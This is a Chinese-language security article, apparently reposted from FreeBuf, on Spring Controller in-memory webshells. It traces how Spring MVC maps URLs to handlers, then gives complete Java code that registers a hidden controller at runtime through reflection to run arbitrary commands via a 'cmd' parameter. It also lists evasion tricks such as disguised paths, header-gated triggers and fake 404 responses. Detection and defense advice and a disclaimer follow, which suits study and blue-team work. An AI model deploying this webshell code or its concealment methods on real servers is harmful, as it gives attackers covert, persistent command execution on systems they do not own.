Java安全之Spring Controller 内存马
文章探讨了Spring Controller内存马的原理与攻击手法,包括动态注册恶意Controller、利用反射机制注入映射关系等。攻击者通过构造隐蔽URL触发恶意代码执行,并采用路径伪装、条件触发等手段提升隐蔽性。防御需结合运行时扫描、限制反射API使用及定期重启等措施。 2025-10-28 07:23:10 Author: www.freebuf.com(查看原文) 阅读量:2 收藏

Spring Controller 内存马

1. Spring Controller

1.1 简单介绍 Controller

Spring Controller 是 Spring MVC 框架的核心组件,它负责接收用户的请求,处理业务逻辑,然后返回响应(比如一个网页、一段 JSON 数据)。

Spring MVC 的核心组件包括:

  • DispatcherServlet:前端控制器,所有请求的统一入口。

  • HandlerMapping:维护 URL 路径与 Controller 方法之间的映射关系表。

  • HandlerAdapter:负责实际执行 Controller 中的处理方法。

标准请求处理流程如下:

  1. 客户端发送 HTTP 请求至 DispatcherServlet。

  2. DispatcherServlet 询问 HandlerMapping:“当前 URL 对应哪个 Controller 方法?”

  3. HandlerMapping 返回匹配的处理方法(Handler)。

  4. DispatcherServlet 通过 HandlerAdapter 执行该方法。

  5. Controller 处理业务逻辑并返回结果。

可以将其类比为餐厅中的服务员:

  1. 你(客户):发出一个请求(例如“我要点一份牛排”)。

  2. 服务员(Controller):听到你的请求,记录下来,并通知后厨(Service 层)准备。

  3. 后厨(Service):负责具体的烹饪工作(即业务逻辑)。

  4. 服务员(Controller):从后厨取回做好的牛排,最终端给你(返回响应)。

在 Spring 容器启动时,框架会自动扫描@Controller@RequestMapping等注解,并在RequestMappingHandlerMapping中建立完整的 URL 到方法的映射表。

1.2 工作原理

在 Spring MVC 的标准请求流程中,Controller 扮演着承上启下的关键角色。

一个请求的完整旅程如下:

浏览器发起请求 → DispatcherServlet(前台经理) → Controller(服务员) → 返回视图或数据 → 浏览器接收响应

具体步骤如下:

  1. DispatcherServlet 接收请求:它是 Spring MVC 的“大脑”和唯一入口,所有请求首先到达这里。

  2. 查找对应的 Controller:DispatcherServlet 会查询 HandlerMapping:“这个 URL 应该由哪个 Controller 来处理?” HandlerMapping 就像一张路由表,根据 URL 找到对应的 Controller 和处理方法。

  3. Controller 处理请求

    :找到对应的 Controller 方法后,DispatcherServlet 将请求交由其执行。在此过程中,通常会:

    • 获取请求参数(如 URL 参数、表单数据、JSON 数据)。

    • 调用 Service 层进行核心业务逻辑处理(如数据库查询、数据计算)。

    • 准备模型数据用于页面展示。

  4. 返回结果:Controller 方法执行完毕后,会返回一个字符串(代表视图名称,如"success")或一个包含数据的对象(如ResponseEntity),最终由视图解析器或消息转换器生成 HTTP 响应。

1.3 代码示例

以下是一个典型的 Controller 实现:

// 1. 使用 @Controller 注解标记这是一个控制器类
@Controller
@RequestMapping("/user") // 类级别的映射,表示该 Controller 处理所有以 "/user" 开头的请求
public class UserController {

    // 3. 注入业务层 Service
    @Autowired
    private UserService userService;

    // 4. 处理 GET 请求到 "/user/profile"
    @GetMapping("/profile")
    public String getUserProfile(Model model) {
        // 调用 Service 获取用户数据
        User user = userService.getCurrentUser();
        // 将用户数据添加到 Model 中,页面可通过 ${user} 访问
        model.addAttribute("user", user);
        // 返回视图名,视图解析器将定位到对应的页面(如 /WEB-INF/views/profile.jsp)
        return "profile";
    }

    // 5. 处理 RESTful 请求,返回 JSON 数据
    @GetMapping("/api/{id}")
    @ResponseBody // 表示返回值直接作为 HTTP 响应体
    public User getUserApi(@PathVariable("id") Long userId) {
        return userService.getUserById(userId);
    }
}

关键注解说明:

  • @Controller:声明该类为 Spring MVC 控制器。

  • @RequestMapping:将 HTTP 请求映射到具体处理方法。常用变体包括:

    • @GetMapping:处理 GET 请求

    • @PostMapping:处理 POST 请求

    • @PutMapping:处理 PUT 请求

    • @DeleteMapping:处理 DELETE 请求

  • @ResponseBody:表示方法返回值直接写入 HTTP 响应体,常用于返回 JSON/XML 数据。

  • @RestController@Controller@ResponseBody的组合,专用于编写 REST API。

  • @PathVariable:从 URL 路径中提取变量。

  • @RequestParam:获取 URL 查询参数或表单参数。

1.4 引出内存马

为什么 Controller 是攻击目标?

  • 正常情况:Controller 是在应用启动时,由 Spring 框架根据@Controller注解进行静态扫描和注册的。

  • 内存马场景:攻击者利用反序列化、文件上传、远程代码执行(RCE)等漏洞,在应用运行时通过 Java 反射等技术,动态地向 Spring 容器中注册一个恶意 Controller。

  • 这个恶意 Controller 会绑定到一个特殊且不易察觉的 URL(如/favicon.ico/static/xxx.css)。当攻击者访问该 URL 并携带特定参数时,即可在服务器上执行任意命令,实现持久化控制。

正常 Controller 与 Controller 内存马对比

特性正常 ControllerController 内存马
注册时机应用启动时静态扫描运行时动态注入
注册方式注解扫描自动注册反射机制手动注册
持久性持久化存在内存驻留(重启失效)
检测难度代码可见高度隐蔽

总结:Spring Controller 是 Java Web 开发中处理 HTTP 请求的“业务调度员”。而 Controller 内存马则是攻击者在运行时植入的隐蔽后门,具有极强的隐蔽性和危害性。

1.5 调试分析

新建一个Spring项目
image-20251024224621006.png

image-20251024224645694.png

新建一个类

package org.example.controllershell.demos.web;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@RestController
public class TestController {
    @GetMapping("/test")
    public String test() {
        return "Hello World!";

    }
}

打一个断点调试分析

image-20251024224819794.png

当访问/test目录的时候

image-20251024224900673.png

分析堆栈, 从下往上

image-20251024225042724.png

分析:

  • 最底层是 Tomcat 的线程池(ThreadPoolExecutor)接收客户端连接。

  • 经过NioEndpointHttp11Processor等组件完成 TCP/HTTP 解码。

  • 通过CoyoteAdapter将请求封装为 Servlet Request 对象。

  • 进入StandardWrapperValve,开始调用 Servlet 链。

  • 执行一系列 Filter(如RequestContextFilter,CharacterEncodingFilter)。

  • 最终到达FrameworkServlet.service()—— 这是 Spring MVC 的入口

关键点:所有请求都必须经过 DispatcherServlet(继承自 FrameworkServlet),它是 Spring MVC 的“总调度中心”。

image-20251024225155020.png

这个堆栈展示了 从 DispatcherServlet 到 Controller 方法的完整调用路径,我们可以将其分为以下几个阶段:

层级类名功能
1DispatcherServlet.doDispatch()核心调度逻辑,负责查找 Handler 并委托给 Adapter 执行
2RequestMappingHandlerAdapter.handle()处理映射关系,准备参数并调用目标方法
3ServletInvocableHandlerMethod.invokeAndHandle()实际调用 Controller 方法
4InvocableHandlerMethod.doInvoke()使用反射调用方法
5Method.invoke()Java 反射核心 API,执行实际代码
6TestController.test()用户定义的业务逻辑

核心关键分析

点进DispatcherServlet分析:

mv = ha.handle(processedRequest, response, mappedHandler.getHandler());

重点关注mappedHandler

image-20251025122932446.png

查看mappedHandler 的赋值,

mappedHandler = this.getHandler(processedRequest);

processedRequest是Http请求信息

这行代码的作用是:根据当前请求的 URL,查找对应的处理器(Controller 方法)。

image-20251025123131736.png

跟进查看getHandler()

@Nullable
    protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
        if (this.handlerMappings != null) {
            for(HandlerMapping mapping : this.handlerMappings) {
                HandlerExecutionChain handler = mapping.getHandler(request);
                if (handler != null) {
                    return handler;
                }
            }
        }
        return null;
    }

return handler;打断点继续分析

image-20251025112417613.png

查看handler赋值, 可以看到headler包含了

  • bean:TestController实例

  • method:public java.lang.String test()

  • interceptorList: 拦截器列表(通常是空或默认拦截器)

关键点

  • this.handlerMappings是一个List<HandlerMapping>,保存了所有处理器映射器。

image-20251025123636079.png

  • Spring Boot 默认会注册多个HandlerMapping,其中最重要的就是:

    • RequestMappingHandlerMapping:负责@Controller+@RequestMapping的映射。

跳转到RequestMappingHandlerMapping

image-20251025124646123.png

RequestMappingHandlerMapping继承自RequestMappingInfoHandlerMapping,再继承自AbstractHandlerMethodMapping, 再继承自AbstractHandlerMapping

虽然子类没有getHandler(),但父类AbstractHandlerMapping实现了:

image-20251025125054898.png

this.getHandlerInternal()方法根据传入的 HttpServletRequest 请求,查找并返回相应的处理器对象(Object 类型)

getHandlerInternal()是一个抽象方法, 查看他的实现, 发现该方法在RequestMappingInfoHandlerMapping中实现:

protected HandlerMethod getHandlerInternal(HttpServletRequest request) throws Exception {
        request.removeAttribute(PRODUCIBLE_MEDIA_TYPES_ATTRIBUTE);

        HandlerMethod var2;
        try {
            var2 = super.getHandlerInternal(request);
        } finally {
            ProducesRequestCondition.clearMediaTypesAttribute(request);
        }

        return var2;
    }

进入getHandlerInternal

image-20251025125811300.png

核心是lookupHandlerMethod(lookupPath, request)

进入lookupHandlerMethod

protected HandlerMethod lookupHandlerMethod(String lookupPath, HttpServletRequest request) {
    List<Match> matches = new ArrayList<>();
    // 先从 pathLookup 快速查找
    List<T> directHits = this.mappingRegistry.getMappingsByUrl(lookupPath);
    if (directHits != null) {
        addMatchingMappings(directHits, matches, request);
    }

    if (matches.isEmpty()) {
        // 遍历所有注册 mapping 进行 pattern 匹配
        addMatchingMappings(this.mappingRegistry.getRegistrations().keySet(), matches, request);
    }

    if (!matches.isEmpty()) {
        Match bestMatch = matches.get(0);
        return bestMatch.handlerMethod;
    }
    return null;
}

核心数据结构this.mappingRegistry

查看他的值

image-20251025130306781.png

  • registry: 存储RequestMappingInfo → HandlerMethod映射

  • pathLookup: 存储URL路径 → RequestMappingInfo快速索引

攻击者只要能往registrypathLookup插入数据,就能让任意 URL 触发任意方法!

变量赋值在

this.mappingRegistry.register(mapping, handler, method);

register就是注册入口

它是 AbstractHandlerMethodMapping.MappingRegistry内部类的一个方法!虽然register()方法是public,但它的作用域受限于其所在类的访问级别

所以可以获取他的子类RequestMappingInfoHandlerMapping来控制register

回到DispatcherServlet的getHandler方法

this.handlerMappings这里面保存了 Spring 容器中所有用于映射请求路径到处理器的“映射器”。

handlerMappings是在initHandlerMappings(context)方法中初始化的:

private void initHandlerMappings(ApplicationContext context) {
    this.handlerMappings = null;

    if (this.detectAllHandlerMappings()) {
        // Find all HandlerMappings in the ApplicationContext
        Map<String, HandlerMapping> matchingBeans =
            BeanFactoryUtils.beansOfTypeIncludingAncestors(context, HandlerMapping.class, true, false);
        if (!matchingBeans.isEmpty()) {
            this.handlerMappings = new ArrayList<>(matchingBeans.values());
            // Sort by order
            AnnotationAwareOrderComparator.sort(this.handlerMappings);
        }
    }
    // ...
}
  • matchingBeans.values()获取了容器中所有类型为HandlerMapping的 Bean。

  • 然后赋值给this.handlerMappings = new ArrayList<>(...)

所以需要获取HandlerMapping

如何获取HandlerMapping?—— 通过ApplicationContext

既然handlerMappings来自 Spring 容器,那我们就可以直接从容器中获取它!

获取方式一:通过 Bean 名称

HandlerMapping hm = (HandlerMapping) context.getBean("requestMappingHandlerMapping", HandlerMapping.class);

在大多数 Spring Boot 应用中,这个 Bean 的名字就是"requestMappingHandlerMapping"

获取方式二:通过类型获取所有

Map<String, HandlerMapping> mappings = context.getBeansOfType(HandlerMapping.class);
for (HandlerMapping mapping : mappings.values()) {
    if (mapping instanceof RequestMappingHandlerMapping) {
        RequestMappingHandlerMapping handlerMapping = (RequestMappingHandlerMapping) mapping;
        // 可以开始注入了!java
    }
}

如何获取ApplicationContext?—— 关键突破口!

我们知道context是 Spring 的核心,但攻击者如何在任意请求中拿到它?

答案就藏在DispatcherServlet.doService()方法中:

protected void doService(HttpServletRequest request, HttpServletResponse response) throws Exception {
    // 把 WebApplicationContext 放进 request 属性中
    request.setAttribute(WEB_APPLICATION_CONTEXT_ATTRIBUTE, getWebApplicationContext());
    
    // ...
    doDispatch(request, response);
}

关键代码:

request.setAttribute(WEB_APPLICATION_CONTEXT_ATTRIBUTE, getWebApplicationContext());

其中:WEB_APPLICATION_CONTEXT_ATTRIBUTE是一个常量:

public static final String WEB_APPLICATION_CONTEXT_ATTRIBUTE =java
    DispatcherServlet.class.getName() + ".CONTEXT";
  • getWebApplicationContext()返回的是当前 Servlet 持有的 Spring 容器实例。

然后就能获取到ApplicationContext

RequestMappingHandlerMapping提供了一个方法用于注册新的处理器:

protected void registerHandlerMethod(Object handler, Method method, RequestMappingInfo mapping)

这个方法内部会调用:

this.mappingRegistry.register(mapping, handler, method);

所以它是我们的实际注入入口

但由于它是protected方法,我们需要用反射:

// 反射获取 registerHandlerMethod 方法
Method registerMethod = AbstractHandlerMethodMapping.class.getDeclaredMethod(
    "registerHandlerMethod", 
    Object.class, 
    Method.class, 
    RequestMappingInfo.class
);
registerMethod.setAccessible(true); // 突破 protected 限制java

// 调用注册
registerMethod.invoke(handlerMapping, controllerInstance, targetMethod, requestMappingInfo);

基于此, 就可以编写内存马了

2. Controller 内存马

2.1 两种注入方式

根据是否依赖现有 Controller 或直接操作核心组件,Controller 内存马的注入可分为两类:

注入方式核心思路技术特点适用场景
注解动态注册动态创建带@Controller/@RequestMapping的类,通过 Spring 容器注册模拟正常注册流程,隐蔽性强可获取 Spring 上下文(ApplicationContext)的场景
手动构造映射直接操作HandlerMapping的映射表,添加恶意 URL 与处理逻辑的绑定不依赖注解,兼容性强无法获取上下文,但可访问HandlerMapping的场景

其中,“手动构造映射”不依赖 Spring 注解扫描机制,直接篡改核心组件,是实战中更通用的注入方式。以下是详细实现步骤。

2.2 手动构造映射方式详解

1. 获取核心组件:RequestMappingHandlerMapping

首先需要获取 Spring 容器中的RequestMappingHandlerMapping实例,这是注入的前提。常见方式有两种:

方式一:通过 ApplicationContext 获取

若已获取ApplicationContext,可直接通过getBean获取实例:

// 假设已获取 ApplicationContext 对象 context
RequestMappingHandlerMapping handlerMapping = 
    context.getBean(RequestMappingHandlerMapping.class);
方式二:通过 DispatcherServlet 获取(反射)

DispatcherServlet持有handlerMappings列表,可通过反射获取:

// 获取当前 DispatcherServlet
DispatcherServlet dispatcherServlet = 
    (DispatcherServlet) WebApplicationContextUtils
        .getRequiredWebApplicationContext(request.getServletContext())
        .getBean(DispatcherServlet.class);

// 反射获取 handlerMappings 字段
Field handlerMappingsField = DispatcherServlet.class.getDeclaredField("handlerMappings");
handlerMappingsField.setAccessible(true);
List<HandlerMapping> handlerMappings = (List<HandlerMapping>) handlerMappingsField.get(dispatcherServlet);

// 查找 RequestMappingHandlerMapping 实例
RequestMappingHandlerMapping handlerMapping = null;
for (HandlerMapping hm : handlerMappings) {
    if (hm instanceof RequestMappingHandlerMapping) {
        handlerMapping = (RequestMappingHandlerMapping) hm;
        break;
    }
}

注意:DispatcherServlet的 Bean 名称在 Spring Boot 中可能为dispatcherServlet,需根据实际情况调整。

2. 构造恶意处理逻辑:HandlerMethod

HandlerMethod是 Spring 对“Controller 方法”的封装,需构造一个包含恶意逻辑(如命令执行)的实例。

示例:自定义恶意类
class MaliciousController {
    public void execCommand(HttpServletRequest request, HttpServletResponse response) throws Exception {
        String cmd = request.getParameter("cmd");
        if (cmd == null || cmd.isEmpty()) {
            response.getWriter().write("No command provided.");
            return;
        }

        Process process = Runtime.getRuntime().exec(cmd);
        BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));
        String line;
        while ((line = br.readLine()) != null) {
            response.getWriter().write(line + "\n");
        }
        br.close();
    }
}
封装为 HandlerMethod
MaliciousController maliciousController = new MaliciousController();
Method execMethod = MaliciousController.class.getMethod(
    "execCommand", HttpServletRequest.class, HttpServletResponse.class);
HandlerMethod maliciousHandler = new HandlerMethod(maliciousController, execMethod);

3. 构造请求映射规则:RequestMappingInfo

RequestMappingInfo封装了 URL 路径、请求方法、参数等映射规则。

RequestMappingInfo requestMappingInfo = RequestMappingInfo
    .paths("/malicious") // 恶意路径
    .methods(RequestMethod.GET, RequestMethod.POST) // 支持的方法
    .build();

可进一步设置 headers、consumes、produces 等条件以增强隐蔽性。

4. 注入映射关系:注册到 HandlerMapping

关键修正RequestMappingHandlerMapping.registerMapping()方法在主流 Spring 版本中为protectedprivate,不可直接调用。

正确做法是通过反射调用其父类AbstractHandlerMethodMappingregisterHandlerMethod方法:

// 获取 registerHandlerMethod 方法(注意参数顺序)
Method registerMethod = AbstractHandlerMethodMapping.class.getDeclaredMethod(
    "registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class);
registerMethod.setAccessible(true);

// 注册恶意映射
registerMethod.invoke(handlerMapping, maliciousController, execMethod, requestMappingInfo);

注意:在某些 Spring 版本中,该方法名称或签名可能略有差异,需结合具体版本调试。

5. 完整代码

package org.example.controllershell.demos.web;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.DispatcherServlet;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.reflect.Method;

/**
 * 手动构造映射方式实现Controller内存马注入
 */
@RestController
public class InjectControllerDemo {

    /**
     * 触发注入的接口
     */
    @RequestMapping("/inject")
    public String inject() throws Exception {
        // 1. 获取WebApplicationContext(Spring容器上下文)
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder
                .getRequestAttributes()
                .getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE, 0);

        // 2. 从容器中获取RequestMappingHandlerMapping(核心映射处理器)
        RequestMappingHandlerMapping handlerMapping = context.getBean(RequestMappingHandlerMapping.class);

        // 3. 构造恶意处理器实例(包含恶意逻辑的Controller)
        EvilController evilController = new EvilController();

        // 4. 构造请求映射规则(路径、请求方法等)
        RequestMappingInfo requestMappingInfo = new RequestMappingInfo(
                new PatternsRequestCondition("/evil"), // 映射路径:/evil
                new RequestMethodsRequestCondition(),  // 请求方法:默认支持所有(GET/POST等)
                null, null, null, null, null
        );

        // 5. 获取恶意方法(EvilController中的evil()方法)
        Method evilMethod = EvilController.class.getMethod("evil");

        // 6. 手动注册映射关系(将路径、处理器、方法绑定)
        handlerMapping.registerMapping(requestMappingInfo, evilController, evilMethod);

        return "Controller memory shell injected successfully!";
    }

    /**
     * 恶意处理器类(包含命令执行逻辑)
     */
    public static class EvilController {
        /**
         * 恶意方法:执行客户端传入的cmd命令
         */
        public String evil() throws IOException {
            // 获取当前请求对象
            HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
            // 从请求参数中获取命令
            String cmd = request.getParameter("cmd");
            if (cmd == null || cmd.isEmpty()) {
                return "Please provide 'cmd' parameter!";
            }

            // 执行命令并获取结果
            Runtime runtime = Runtime.getRuntime();
            Process process = runtime.exec(cmd);
            BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            StringBuilder result = new StringBuilder();
            String line;
            while ((line = reader.readLine()) != null) {
                result.append(line).append("\n");
            }
            return result.toString();
        }
    }
}
代码说明:
  1. 组件获取:通过RequestContextHolder获取WebApplicationContext,再从中获取RequestMappingHandlerMapping(Spring MVC 中存储请求映射关系的核心组件).

  2. 恶意处理器:定义EvilController类,其中evil()方法实现命令执行逻辑(通过request.getParameter("cmd")接收命令并执行)

  3. 映射规则构造:通过RequestMappingInfo手动指定映射路径/evil和请求方法(默认支持所有方法)

  4. 注册映射:调用handlerMapping.registerMapping()方法将路径、处理器、恶意方法绑定并注册到 Spring MVC 的映射表中

6. 触发攻击

注入完成后,攻击者可通过以下请求触发命令执行:

先访问路径: http://127.0.0.1:8080/inject

完整注入, 然后访问

http://127.0.0.1:8080/evil?cmd=calc

触发注入的内存马

3. 注解动态注册方式详解

该方式更贴近正常 Spring 流程,隐蔽性更高。

实现步骤:

  1. 定义一个带有@Controller@RequestMapping的恶意类。

  2. 将其注册为 Spring Bean。

  3. 触发RequestMappingHandlerMapping扫描该 Bean 的方法。

示例代码:

@Controller
public class StealthBackdoor {
    @RequestMapping("/stealth")
    @ResponseBody
    public String backdoor(HttpServletRequest request) {
        String cmd = request.getParameter("cmd");
        if (cmd != null && !cmd.isEmpty()) {
            try {
                Process process = Runtime.getRuntime().exec(cmd);
                BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));
                StringBuilder sb = new StringBuilder();
                String line;
                while ((line = br.readLine()) != null) {
                    sb.append(line).append("\n");
                }
                return sb.toString();
            } catch (Exception e) {
                return "Error: " + e.getMessage();
            }
        }
        return "Alive";
    }
}

注册并触发扫描:

// 获取 BeanFactory
ConfigurableListableBeanFactory beanFactory = 
    ((ConfigurableApplicationContext) context).getBeanFactory();

// 注册为单例 Bean
beanFactory.registerSingleton("stealthBackdoor", new StealthBackdoor());

// 获取 HandlerMapping 并触发扫描
RequestMappingHandlerMapping handlerMapping = 
    context.getBean(RequestMappingHandlerMapping.class);

// 调用 detectHandlerMethods 扫描指定 Bean
Method detectMethod = RequestMappingHandlerMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
detectMethod.setAccessible(true);
detectMethod.invoke(handlerMapping, "stealthBackdoor");

4. 隐藏技巧与对抗检测

为避免被发现,攻击者常采用以下策略:

  • 路径选择:使用高频但低关注路径,如/favicon.ico/robots.txt/health/actuator/prometheus

  • 条件触发:仅在特定 Header、User-Agent 或 IP 下执行命令。

  • 伪装响应:返回 404 状态码或伪造图片内容。

  • 冲突检测:注入前检查目标路径是否已被占用,避免覆盖正常功能。

示例:

if (!request.getHeader("X-Secret-Key").equals("topsecret")) {
    response.setStatus(404);
    return;
}

5. 检测与防御

检测思路:

  • 运行时扫描:遍历RequestMappingHandlerMappinghandlerMethods,查找无对应.class文件的类(内存中动态生成的类)。

  • 调用栈监控:监控registerHandlerMethod的调用栈,若来自非启动阶段的线程(如请求线程),则可能为内存马。

  • Java Agent 检测:使用字节码增强技术(如 ASM、Javassist)Hook 关键方法(setAccessiblegetMethod)。

  • JMX/Arthas 查看:通过arthasscsm命令查看类与方法,vmtool --action getInstances查找可疑实例。

防御建议:

  • 最小权限原则:禁止反序列化不可信数据,限制文件上传类型。

  • 启用 RASP:使用运行时应用自我保护系统实时拦截恶意行为。

  • 关闭调试接口:禁用或限制 Actuator 等敏感端点的访问。

  • 定期重启:清除内存驻留后门。

  • 白名单机制:限制反射 API 的使用范围。

  • 安全审计:定期审查代码与依赖库,避免引入高危组件。

6. 环境差异与兼容性说明

  • Spring Boot vs Spring MVC:Spring Boot 默认使用嵌入式容器,DispatcherServlet名称可能为dispatcherServlet,需注意 Bean 名称差异。

  • Spring 版本差异:Spring 5.x 与 Spring 6 在反射访问和安全性方面有显著变化,部分反射调用在新版本中受限。

  • Actuator 风险:Spring Boot Actuator 的/actuator/mappings接口可直接查看所有路由映射,极易暴露内存马。

结语

Spring Controller 内存马是一种高度隐蔽的 WebShell 形式,利用框架的动态特性在运行时植入后门。理解其原理不仅有助于红队实战,更能帮助蓝队构建更有效的检测与防御体系。

掌握“攻”的本质,方能更好地“防”。建议开发者在日常开发中遵循安全编码规范,运维人员部署 RASP 或内存扫描工具,共同提升系统安全性。

后续可进一步研究 Filter 型、Servlet 型、Listener 型及 Java Agent 型内存马,全面构建 Java 安全防护知识体系。

  1. 本博客内容仅用于技术研究与学习交流,旨在帮助开发者、安全从业人员理解Spring Controller内存马的原理、注入逻辑及防御思路,提升对Java Web应用安全风险的认知,进而更好地构建安全防护体系。

  2. 所有技术演示、代码示例均基于合法授权的测试环境编写,仅作为技术原理讲解的辅助工具。使用者需确保在使用相关技术时,已获得目标系统的明确授权,严格遵守《中华人民共和国网络安全法》《中华人民共和国刑法》等法律法规及行业伦理规范。

  3. 严禁将本博客中的技术、代码用于未授权的攻击、破坏他人系统或窃取数据等违法违规行为。若因违反上述规定导致任何法律责任、经济损失或不良后果,均由使用者自行承担,与本博客作者无任何关联。

  4. 本博客内容基于特定版本的Spring框架(如Spring MVC、Spring Boot)编写,技术细节可能随框架版本迭代发生变化。使用者在实际应用中需结合具体环境进行验证,本博客作者不对内容的完整性、时效性及在特定场景下的适用性作出绝对保证。

  5. 任何单位或个人若发现有人滥用本博客内容实施违法活动,欢迎及时向相关监管部门举报,共同维护健康、安全的网络环境。


文章来源: https://www.freebuf.com/articles/web/454511.html
如有侵权请联系:admin#unsafe.sh